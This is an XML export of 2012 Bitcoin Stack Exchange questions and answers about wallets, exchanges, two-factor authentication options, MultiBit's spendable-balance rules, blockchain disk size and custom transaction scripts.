  <row Id="4103" PostTypeId="2" ParentId="815" CreationDate="2012-07-02T22:04:33.493" Score="7" Body="&lt;p&gt;&lt;strong&gt;There is now the &lt;a href=&quot;https://github.com/timmolter/XChange&quot;&gt;XChange&lt;/a&gt; library&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pure Java library that has been released under the MIT license. It currently supports Mt Gox, but there are simple hooks to allow other exchanges such as &lt;a href=&quot;http://intersango.com&quot;&gt;Intersango&lt;/a&gt; and &lt;a href=&quot;http://cryptoxchange.com/&quot;&gt;CryptoXChange&lt;/a&gt; to be supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is currently used by the &lt;a href=&quot;http://multibit.org&quot;&gt;MultiBit&lt;/a&gt; client.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-07-02T22:04:33.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4104" PostTypeId="2" ParentId="2180" CreationDate="2012-07-03T17:27:38.417" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoincard.org/&quot; rel=&quot;nofollow&quot; title=&quot;Bitcoincard&quot;&gt;Bitcoincard&lt;/a&gt; will use mesh radio network, but still, the transactions will be propagated to internet at first opportunity. However, one bitcoincard gateway with working internet access in whole city/neighborhood should be sufficient to prevent network forks.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-07-03T17:27:38.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4105" PostTypeId="1" AcceptedAnswerId="5759" CreationDate="2012-07-03T18:48:00.473" Score="14" ViewCount="26303" Body="&lt;p&gt;Specifically, I need the easiest possible way to store Namecoins mined through merged mining, so the eWallet will have to deal well with generated transactions. Do any NMC eWallets actually exist? Do any of the exchanges deal well with generated transactions at receiving addresses?&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-05-16T21:43:57.183" Title="Is there a usable Namecoin e-wallet?" Tags="|namecoin|e-wallet|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4106" PostTypeId="2" ParentId="4105" CreationDate="2012-07-03T21:10:46.567" Score="2" Body="&lt;p&gt;You can park them at an exchange, such as BitParking:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://exchange.bitparking.com&quot; rel=&quot;nofollow&quot;&gt;https://exchange.bitparking.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as being able to use your BitParking deposit address for receiving generated coins directly when mining, I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit:  Also &lt;a href=&quot;http://btc-e.com&quot; rel=&quot;nofollow&quot;&gt;BTC-e.com&lt;/a&gt; might be useful as an NMC EWallet.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-13T00:40:25.333" LastActivityDate="2012-12-13T00:40:25.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4107" PostTypeId="1" CreationDate="2012-07-04T04:57:15.500" Score="4" ViewCount="6171" Body="&lt;p&gt;What I'm looking for is an app that lets a person scan a QR code containing a Bitcoin address and then see the balance and transaction history for that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a specific use case, a mobile phone (or Android tablet, more likely) is going to be made available at an event to allow people to check the balance of their bitcoin address.  Attendees with their own smartphone can use their own mobile wallet app but for those without smartphones and those who don't know (nor care) about bitcoin, the QR code on their badge (or wristband) will work as their wallet for receiving small payments (rewards for their participation).  The badge might be something like  this, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.paymyaddress.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.paymyaddress.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The app can be pretty simple -- a text field to enter the firstbits (and a button to optionally allow a scan of a QR code), and then the balance is displayed (with transaction history below, optionally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it would be used by people just walking up, it shouldn't require any registration or login.  Simply scan and view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://BTCBalance.net&quot; rel=&quot;nofollow&quot;&gt;BTCBalance.net&lt;/a&gt; would work for this but it isn't suited well for use from a mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anything that does this been built already?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-04T08:16:25.553" LastActivityDate="2020-01-18T08:21:29.517" Title="Is there an Android app that will scan a QR code and show the balance?" Tags="|address|mobile|qrcode|balance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4108" PostTypeId="2" ParentId="1987" CreationDate="2012-07-04T06:15:05.980" Score="1" Body="&lt;p&gt;There is a &lt;a href=&quot;http://portforward.com/help/portcheck.htm&quot; rel=&quot;nofollow&quot;&gt;port checker tool that is not browser based&lt;/a&gt; that will allow you to to check to see if the port 8333 is open.  I had a situation with my windows 2008 R2 VPS where i was stuck at 8 connections.  I went into the bitcoin client and unchecked &quot;map using UPnP&quot;, shut down the bitcoin client, then went into windows firewall and added bitcoin to accept incoming TCP, UDP connections for the bitcoin-qt.exe.  Then I restarted the bitcoin client, and I had 20+ connections after 10 minutes or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't even have to use the port checker tool.&lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2012-07-04T06:15:05.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4109" PostTypeId="2" ParentId="4107" CreationDate="2012-07-04T09:09:21.820" Score="1" Body="&lt;p&gt;To get the balance and list of transactions you could do an HTTP get to blockchain.info. E.g:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/17w9uVZuPgsY7iLBVGB7qTZ1ZiZnTJKHLq&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/17w9uVZuPgsY7iLBVGB7qTZ1ZiZnTJKHLq&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-07-04T09:09:21.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4110" PostTypeId="1" AcceptedAnswerId="4111" CreationDate="2012-07-04T12:34:26.820" Score="4" ViewCount="23766" Body="&lt;p&gt;I've used bitcoins for quite a while, but about a year ago I decided to dump having a thin client on my machine, and I've just kept my coins in various exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday, however, I wanted to check out the current state of the bitcoin client and I was a bit surprised to see that on Bitcoin.org, you now have three options.  That's good!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the Multi-bit and installed it on my Mac.  I generated a payment address and I sent myself about .45 BTC.  After about an hour, I saw that it was confirmed.  I also set my mining pool account to send my payments to this new wallet, so I get a bit-cent sent to it every 12-16 hours (yeah, I'm not getting much, but I enjoy the free money.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a day, I now have a few transactions on this wallet.  My &lt;strong&gt;confirmed&lt;/strong&gt; balance is around .5 BTC.  I just sent 2, .02 btc transactions.  Right after sending these two transactions, I tried to send a third for .06, Multi-bit gave me a message stating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are not enough funds in your wallet to send .06 BTC. The&#xA;  transaction fee is set at .0001 BTC. Note that you can only spend&#xA;  confirmed transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't understand.  My confirmed balance is currently around .43 BTC.  These coins have been confirmed for at least 12 hours, yet I'm getting this message telling me my balance was too low?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has something changed within the Bitcoin protocol in the last year that I'm not aware of or is this a known bug in the Multi-bit client.  My biggest worry is that if and when I decide to move my coins from this wallet to an e-wallet, the thin-client is going to give me this same message when I try to make a big withdrawal because of this bug.  What is going on?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="78" LastEditDate="2012-07-05T04:55:56.723" LastActivityDate="2020-04-15T07:45:08.227" Title="Why can't I spend my bitcoins when they have been fully confirmed?" Tags="|transactions|thin-clients|sending|multibit|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4111" PostTypeId="2" ParentId="4110" CreationDate="2012-07-04T17:46:14.837" Score="10" Body="&lt;p&gt;I don't use MultiBit, but just checked its source code to see what the message you quoted means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that the message is shown when the amount you're asking to send plus fees is less than the &quot;available balance&quot;, which is defined as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/jim618/multibit/blob/5ea3dca45d84d2984144202d3fdd922522db05f3/src/main/java/com/google/bitcoin/core/Wallet.java#L786&quot;&gt;Balance that can be safely used to create new spends. This is all confirmed unspent outputs minus the ones spent by pending transactions, but not including the outputs of those pending transactions.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The source code also says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/jim618/multibit/blob/5ea3dca45d84d2984144202d3fdd922522db05f3/src/main/java/com/google/bitcoin/core/Wallet.java#L774&quot;&gt;Consider a real-world example: you buy a snack costing $5 but you only have a $10 bill. At the start you have $10 viewed from every possible angle. After you order the snack you hand over your $10 bill. From the perspective of your wallet you have zero dollars (AVAILABLE). But you know in a few seconds the shopkeeper will give you back $5 change so most people in practice would say they have $5 (ESTIMATED).&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So my guess would be that your balance includes some unconfirmed change from your previous transaction(s), and that simply waiting for that change to confirm will solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words MultiBit doesn't allow you to spend the $5 change until you have it back from the shopkeeper.  Note that the Satoshi client &lt;em&gt;does&lt;/em&gt; allow you to spend unconfirmed change outputs.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-07-04T17:53:59.757" LastActivityDate="2012-07-04T17:53:59.757" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4112" PostTypeId="2" ParentId="4110" CreationDate="2012-07-04T19:48:23.663" Score="2" Body="&lt;p&gt;I think Chris is right - it sounds like MultiBit is waiting for the change to be seen in the next block that contains the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be a bit annoying, but it does have the advantage that anyone that you SEND bitcoin to will always be sent bitcoins using transaction outputs of transactions that are already on the blockchain ie confirmed at least once. &#xA;The recipient should get a trouble free confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Available to spend' is quite a confusing concept so I have added drill down help for it in the MultiBit user interface. If you click on the 'Available to spend' text in the MultiBit header it opens up the appropriate help, namely:&#xA;&lt;a href=&quot;http://multibit.org/help_availableToSpend.html&quot; rel=&quot;nofollow&quot;&gt;http://multibit.org/help_availableToSpend.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do a right click on a transaction in the Transactions panel and it shows you the transaction status. On that details dialog you can also click on the 'View at  blockchain.info' button and it will open up blockchain.info in a browser for that transaction. I use that quite often to check on the transaction's status in the network. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-07-04T20:17:52.287" LastActivityDate="2012-07-04T20:17:52.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4113" PostTypeId="1" AcceptedAnswerId="4114" CreationDate="2012-07-05T02:01:46.943" Score="13" ViewCount="4378" Body="&lt;p&gt;I see that Mt. Gox now supports the Google Authenticator app (on Android, iOS - iPhone, iPad, iPod Touch, and on Blackberry) for 2-factor authentication (in addition to support for Yubikey, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are all the various 2-factor (also referred to as multi-factor) methods available for Bitcoin-related sites (exchanges, eWallets, mining pools, other services, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-05T02:16:45.317" LastActivityDate="2018-02-05T05:55:52.580" Title="Which Two-factor authentication methods are available at which exchanges?" Tags="|security|authentication|two-factor|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4114" PostTypeId="2" ParentId="4113" CreationDate="2012-07-05T02:03:17.517" Score="12" Body="&lt;p&gt;Bitcoin Currency Exchanges:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.MtGox.com&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt;: OTP using YubiKey or Google Authenticator&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Options: [On Login] | [For WIthdrawals] | [For Changes To Security]&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.CampBX.com&quot; rel=&quot;nofollow&quot;&gt;Camp BX&lt;/a&gt;: OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitStamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt;: OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Bitcoin-24.com&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-24&lt;/a&gt;: OTP using Google Authenticator and for withdrawal SMS messaging&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoin-otc.com&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-otc&lt;/a&gt;: GPG authentication with gribble bot&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://BitMarket.eu&quot; rel=&quot;nofollow&quot;&gt;BitMarket.eu&lt;/a&gt;: OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; - OTP/Authy or OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.fybsg.com&quot; rel=&quot;nofollow&quot;&gt;FYB-SG&lt;/a&gt; (Singapore) - OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://polimedia.us/bitcoin/mpex.php&quot; rel=&quot;nofollow&quot;&gt;VirWoX&lt;/a&gt; - OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.weexchange.co&quot; rel=&quot;nofollow&quot;&gt;WeExchange.co&lt;/a&gt; - OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btc-e.com&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt; - OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;Local Bitcoins&lt;/a&gt; - OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitcoin.de&quot; rel=&quot;nofollow&quot;&gt;bitcoin.de&lt;/a&gt; - OTP/Google Authenticator or Yubikey (but not Mt. Gox Yubikey)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other Exchanges:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://polimedia.us/bitcoin/mpex.php&quot; rel=&quot;nofollow&quot;&gt;MPEx&lt;/a&gt;: GPG authentication&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://icbit.se&quot; rel=&quot;nofollow&quot;&gt;ICBit.se&lt;/a&gt;: OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btct.co&quot; rel=&quot;nofollow&quot;&gt;BTC Trading Corp&lt;/a&gt; (BTC-TC): OTP/Google Authenticator or YubiKey&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Bitfunder.com&quot; rel=&quot;nofollow&quot;&gt;BitFunder&lt;/a&gt;: OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other Services:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitPay.com&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt;: OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EWallets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info/wallet&lt;/a&gt; - Google Authenticator, e-mail verification, SMS, and YubiKey (but not Mt. Gox YubiKey).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.WalletBit.com&quot; rel=&quot;nofollow&quot;&gt;WalletBit&lt;/a&gt; - SecureCard (or perhaps OTP/Google Auth has been added now?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; - SMS text messaging-based two-factor, Authy (Android/iOS app similar to Google's)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://paytunia.com&quot; rel=&quot;nofollow&quot;&gt;Paytunia&lt;/a&gt; - OTP/Google Authenticator or Yubikey (but not Mt. Gox Yubikey)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitZino.com&quot; rel=&quot;nofollow&quot;&gt;bitZino&lt;/a&gt; - OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://just-dice.com&quot; rel=&quot;nofollow&quot;&gt;Just-Dice&lt;/a&gt; - OTP/Google Authenticator&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Mining Pools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://maxbtc.com&quot; rel=&quot;nofollow&quot;&gt;MaxBTC&lt;/a&gt; - Yubikey and Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://eclipsemc.com/&quot; rel=&quot;nofollow&quot;&gt;EclipseMC&lt;/a&gt; - Supports Yubi/GA OTP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="9175" LastEditDate="2013-12-22T21:55:06.087" LastActivityDate="2013-12-22T21:55:06.087" CommentCount="5" CommunityOwnedDate="2012-10-10T21:56:53.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="4115" PostTypeId="1" AcceptedAnswerId="4116" CreationDate="2012-07-05T03:44:43.067" Score="4" ViewCount="4482" Body="&lt;p&gt;I just started Bitcoin-qt for the first time, and it is syncing. How much space does the blockchain take up? I have my drive heavily partitioned, and my /home partition (linux mint) is only about 20GB. Does anyone have a size accurate within 100MB?&lt;/p&gt;&#xA;" OwnerUserId="1551" LastEditorUserId="1551" LastEditDate="2012-09-24T15:49:16.877" LastActivityDate="2012-09-24T15:49:16.877" Title="How big is the blockchain on disk as of 5th July 2012?" Tags="|client|blockchain|bitcoin-core|" AnswerCount="3" CommentCount="0" ClosedDate="2012-09-26T21:43:36.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="4116" PostTypeId="2" ParentId="4115" CreationDate="2012-07-05T04:12:49.410" Score="4" Body="&lt;p&gt;At the moment, it's about 2.6GB, but it will be growing with time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try looking into using an &lt;a href=&quot;https://en.bitcoin.it/wiki/Browser-based_wallet&quot; rel=&quot;nofollow&quot;&gt;eWallet&lt;/a&gt; or some lightweight clients if you are tight on the disc space. Their space requirement is minimal in comparison, but the security model they offer is different. The lightweight clients are developed by other people than the core Bitcoin team, so you have to know that you can trust them (haven't yet heard about a case of the lightweight clients being malicious). With the eWallets you put the security of your money in the hands of the third party and their server. There have been incidents of people losing a lot of coins because of this (like &lt;a href=&quot;https://en.bitcoin.it/wiki/MyBitcoin&quot; rel=&quot;nofollow&quot;&gt;MyBitcoin&lt;/a&gt;), but if ran well and by trustworthy people, your Bitcoins can be more secure than on your computer.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-07-05T14:55:59.077" LastActivityDate="2012-07-05T14:55:59.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4117" PostTypeId="2" ParentId="4115" CreationDate="2012-07-05T04:18:13.587" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=90871.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;This thread in bitcointalk&lt;/a&gt; was posted on June 30th 2012 and discusses a &lt;a href=&quot;http://dre.tx0.org/bcg_chart.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;graph of the size of the blockchain over time&lt;/a&gt; and predicts it into the future. Currently, the graph looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rksZM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-07-05T04:18:13.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4118" PostTypeId="2" ParentId="4115" CreationDate="2012-07-05T07:22:38.460" Score="4" Body="&lt;p&gt;Here are the current file sizes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ date&#xA;Thu Jul  5 00:21:12 PDT 2012&#xA;$ ls -l blk*&#xA;-rw------- 1 chris chris 2035532730 Jul  5 00:13 blk0001.dat&#xA;-rw------- 1 chris chris  699731968 Jul  5 00:13 blkindex.dat&#xA;$ bitcoind getblockcount&#xA;187613&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to give an idea of daily growth, here it is around 25 hours later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ date&#xA;Fri Jul  6 01:33:04 PDT 2012&#xA;$ ls -l blk*&#xA;-rw------- 1 chris chris 2046730806 Jul  6 01:32 blk0001.dat&#xA;-rw------- 1 chris chris  703234048 Jul  6 01:32 blkindex.dat&#xA;$ bitcoind getblockcount&#xA;187757&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-07-06T08:35:03.837" LastActivityDate="2012-07-06T08:35:03.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4119" PostTypeId="1" CreationDate="2012-07-05T21:32:14.987" Score="2" ViewCount="731" Body="&lt;p&gt;I’ve been attempting to set up my own wallet, but am having difficulties.  Last week I began installing the standard Bitcoin client.&#xA;When I first attempted I got to the process of downloading the blockchain.  My computer ran for about 36 hours until the process failed.  I asked on the message boards and they said there may have been some corrupted data.  I attempted to re download the blockchain, but when I reinstall Bitcoin, I now get a failed to initialize message.  I deleted the original files (except the wallet file) and still get a failed message when Bitcoin starts.  It's getting pretty frustrating.  I sent 1 bitcoin to the first address I created (though it had not yet and never did finish downloading the block chain).  Would deleting the wallet allow me to start over? &lt;/p&gt;&#xA;" OwnerUserId="1522" LastEditorUserId="516" LastEditDate="2012-07-06T03:46:35.553" LastActivityDate="2012-07-06T03:46:35.553" Title="Downloading of blockchain failed" Tags="|client|blockchain|wallet|installation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4120" PostTypeId="2" ParentId="4119" CreationDate="2012-07-05T21:49:14.513" Score="1" Body="&lt;p&gt;If you sent a coin there, of course you need to keep the wallet itself or you won't be able to claim that coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may delete and re-download the blockchain, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can try to open the wallet with another client.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-07-05T21:49:14.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4121" PostTypeId="2" ParentId="2570" CreationDate="2012-07-05T22:06:40.270" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/?topic=87660&quot; rel=&quot;nofollow&quot;&gt;bitcoind 0.5.x, starting with 0.5.6rc3&lt;/a&gt; and &lt;a href=&quot;http://luke.dashjr.org/programs/bitcoin/files/bitcoind/0.6.3/&quot; rel=&quot;nofollow&quot;&gt;0.6.x starting with 0.6.3&lt;/a&gt; include a deterministic Mac build. Unfortunately, bitcoind 0.7  does not build with the Mac OS X 10.5 toolchain (which is what I compiled for gitian), so until I &lt;a href=&quot;https://bitcointalk.org/?topic=83743&quot; rel=&quot;nofollow&quot;&gt;manage to make a LLVM-based cross-compiler&lt;/a&gt; you'll have to stick to the new Debug window interface and JSON-RPC.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-07-05T22:06:40.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4122" PostTypeId="2" ParentId="1480" CreationDate="2012-07-06T05:07:16.140" Score="1" Body="&lt;p&gt;I came across Bitcoinfog at &lt;a href=&quot;http://www.bitcoinfog.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinfog.com/&lt;/a&gt;. They run a hidden service in TOR at &lt;a href=&quot;http://fogcore5n3ov3tui.onion&quot; rel=&quot;nofollow&quot;&gt;http://fogcore5n3ov3tui.onion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have been down since mid August 2012 and are not back up as of Nov 2012. I first thought they cut and ran with peoples bit coins. Which is quite a risk for sites like this. It's happened to me before as well when I was &quot;testing the waters&quot; by running the coins through a tumbler site.&lt;/p&gt;&#xA;" OwnerUserId="137" LastEditorUserId="112" LastEditDate="2013-07-07T12:56:44.553" LastActivityDate="2013-07-07T12:56:44.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4124" PostTypeId="2" ParentId="2064" CreationDate="2012-07-06T10:31:26.850" Score="1" Body="&lt;p&gt;Did you allow ample time after downloading the bitcoin app to allow the entire block chain to be downloaded from within the app? If not, then the most recent transaction wont be visible to you.&lt;/p&gt;&#xA;" OwnerUserId="1556" LastEditorUserId="516" LastEditDate="2012-07-06T23:04:24.600" LastActivityDate="2012-07-06T23:04:24.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4125" PostTypeId="1" AcceptedAnswerId="4127" CreationDate="2012-07-06T19:17:29.533" Score="2" ViewCount="370" Body="&lt;p&gt;Is it possible to add a hook for custom validation of transactions with a special script &quot;tag&quot; in them? If so, How? In essence, I want to add something similar in  functionality to bitcoin script, but far more complex that what that supports. It doesn't matter if most clients/servers will not recognize the extended bitcoin script , provided they will ignore it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that a node, when seeing a transaction with a special script payload, would call some external validation routine and only if that succeeded would it then run the standard integrity checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there supported hooks for this in the JSON-RPC API, any of the various clients, or would it require extensive modification of the source ? &lt;/p&gt;&#xA;" OwnerUserId="1558" LastEditorUserId="659" LastEditDate="2012-07-06T22:24:15.947" LastActivityDate="2012-07-08T11:06:16.240" Title="Custom validation logic for transactions/ custom script extensions" Tags="|transactions|script|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4126" PostTypeId="2" ParentId="4125" CreationDate="2012-07-06T22:26:45.163" Score="1" Body="&lt;p&gt;It would require a change in the protocol to allow for the use of external validation routines, or any bitcoins spent using the &quot;special&quot; script will never again be spendable by any standard Bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the currently available clients offer this feature.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-06T22:26:45.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4127" PostTypeId="2" ParentId="4125" CreationDate="2012-07-06T22:51:09.293" Score="1" Body="&lt;p&gt;If you want the standard client to ignore a part of a script, you should add it in with OP_PUSH and remove with OP_DROP, essentially making it a comment. This schema is similar to how HTML and javascript work. As long as the rest of the transaction confirms to the Bitcoin Protocol, you can put whatever data you want between those two operations, allowing you to create custom scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, such functionality is very non-standard. You would need to develop your own software for handling such scripts, and as far as I know, there isn't a program that allows you to encode messages in transaction comments easily (I've been looking for one for a long time and I wasn't able to find it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could create your own version of Bitcoin and incorporate your non-standard scripts into it, similarly to how Namecoin operates. This would take more effort, but offer a lot more freedom.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-06T22:51:09.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
